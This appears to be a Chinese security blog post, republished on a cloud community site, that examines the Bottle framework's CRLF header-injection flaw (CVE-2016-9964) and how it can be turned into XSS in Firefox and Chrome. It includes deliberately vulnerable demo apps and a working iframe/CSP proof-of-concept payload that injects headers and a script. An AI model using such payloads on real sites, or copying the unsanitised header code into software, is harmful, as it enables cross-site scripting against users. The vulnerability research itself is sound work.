前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Bottle HTTP 头注入漏洞探究

Bottle HTTP 头注入漏洞探究

作者头像
phith0n
发布2020-10-15 11:27:33
7720
发布2020-10-15 11:27:33
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

今天看到两个头注入,一个ASP.NET的 http://seclists.org/bugtraq/2016/Dec/43 ,一个Bottle的。

漏洞分析

这几天更新的bottle,修复了一个漏洞(CVE-2016-9964),介绍是这样说的

It was discovered that bottle, a WSGI-framework for the Python programming language, did not properly filter "\r\n" sequences when handling redirections. This allowed an attacker to perform CRLF attacks such as HTTP header injection.

分析一下,实际上和redirect没有太大关系,只要是能设置HTTP返回头的地方,都存在头注入的问题。先看github的fix: https://github.com/bottlepy/bottle/commit/6d7e13da0f998820800ecb3fe9ccee4189aefb54https://github.com/bottlepy/bottle/commit/3f838db73f7488a108dd8eea308fcc1188303371 ,其将所有设置头的地方都使用了_hval方法:

代码语言:javascript
复制
def _hval(value):
    value = value if isinstance(value, unicode) else str(value)
    if '\n' in value or '\r' in value or '\0' in value:
        raise ValueError("Header value must not contain control characters: %r" % value)
    return value

一旦发现\n、\r、\0就抛出异常。那么我们怎么复现这个漏洞呢?

直接使用pip安装老版本的bottle即可: pip install https://github.com/bottlepy/bottle/archive/0.12.10.zip

其实漏洞没什么可分析的,就是设置HTTP头的时候没有处理换行,导致了头注入。

Location && XSS ?

写一个小的例子

代码语言:javascript
复制
import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    path = request.query.get('path', 'https://www.leavesongs.com')
    return bottle.redirect(path)

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

这里还是使用的redirect,但重申一下这个漏洞和redirect函数没有任何关系。因为redirect函数是向response中插入一个HTTP头,也就是Location: xxx,所以存在头注入。

CRLF头注入的原理、利用方法,包括如何绕过浏览器的XSS Auditor我都在这篇文章( https://cloud.tencent.com/developer/article/1717409 )里进行了介绍,本文不再赘述.

但实际测试的过程中遇到了一个有趣的问题,看看redirect函数的实现:

代码语言:javascript
复制
def redirect(url, code=None):
    """ Aborts execution and causes a 303 or 302 redirect, depending on
        the HTTP protocol version. """
    if not code:
        code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302
    res = response.copy(cls=HTTPResponse)
    res.status = code
    res.body = ""
    res.set_header('Location', urljoin(request.url, url))
    raise res</pre>

其中使用了一个urljoin,将当前url和我传入的path进行了一次"join",经过这个操作事情就变得很微妙了:Location头一定有一个值。这种情况下,浏览器就不会渲染页面,会直接跳转到Location头指向的地址。也就是说,如果我要利用CRLF构造XSS的话,这里是不会触发的。

回想上面提到过的新浪的那个CRLF,那个漏洞的Location是可以为空的,如果浏览器发现Location为空就不会进行跳转,进而渲染了后面注入的HTML,造成XSS。

那么本文这里怎么处理?

两种阻止浏览器跳转的方式

之前 @ Mramydnei 就有跟我们一起研究过这个问题,后来他整理了一篇文章: http://zone.drops.wiki/topic/103

当时我提出了使用\0来阻止PHP返回Location头的方法。因为PHP的header函数一旦遇到\0、\r、\n这三个字符,就会抛出一个错误,此时Location头便不会返回,浏览器也就不会跳转了。

其实当时我还想出来一个方法:在PHP没有关闭display_errors的情况下,只要在header位置的前面某处构造一个错误,一旦有错误信息在header前被输出,header函数也就不会执行了——原因是我们不能在HTTP体已经输出的情况下再输出HTTP头。

但今天这个context是Python的环境,而且似乎并不能找到一个方法让bottle不返回Location头,这就麻烦了。但上文中后两种方法在Firefox确实是可行的。

法1: 将跳转的url端口设为<80

法2:使用CSP禁止iframe的跳转

其中的法2利用代码如下:

代码语言:javascript
复制
<?php
header("Content-Security-Policy: frame-src http://localhost:8081/");
?>

<iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>

最后再请大佬们支支招,我觉得应该有更好的办法,而不仅限于Firefox。

Bottle头注入的其他利用点

前面反复强调,bottle这个头注入和redirect无关。也就是说,只要Bottle中设置了HTTP头的位置,都讲存在头注入漏洞,比如试试直接增加一个HTTP头:

代码语言:javascript
复制
import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    server = request.query.get('server')
    response.add_header('Server', server)
    return response

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

Firefox下仍然能够直接触发:

而chrome最新版依旧无法触发,这次是为什么呢?

如上图,我估计是这个Content-Length: 0,导致Chrome认为这个返回包没有Body,所以并没有解析。

又是一个难题,设置chunk也没有解决,明天再看看吧。

第二天

今天在两个Linux上搭了同样的环境,却发现Content-Length的位置其实不是固定的,有时候会在下面:

但有时又会在上面,和系统是没有关系的。

这个情况下,Chrome是可以触发的:

再深入分析一下,我注入一个Content-Length头进去,你就会发现,Chrome会根据这个头的数值来截取body,如果我注入Content-Length: 5,此时显示的body如下:

这也就是昨天为什么Chrome下总是触发不了的原因,因为昨天Content-Length头我们无法控制,其值总是为0,导致Chrome不会输出任何内容,也就无法进行XSS。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞分析
    • Location && XSS ?
      • 两种阻止浏览器跳转的方式
        • Bottle头注入的其他利用点
          • 第二天
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档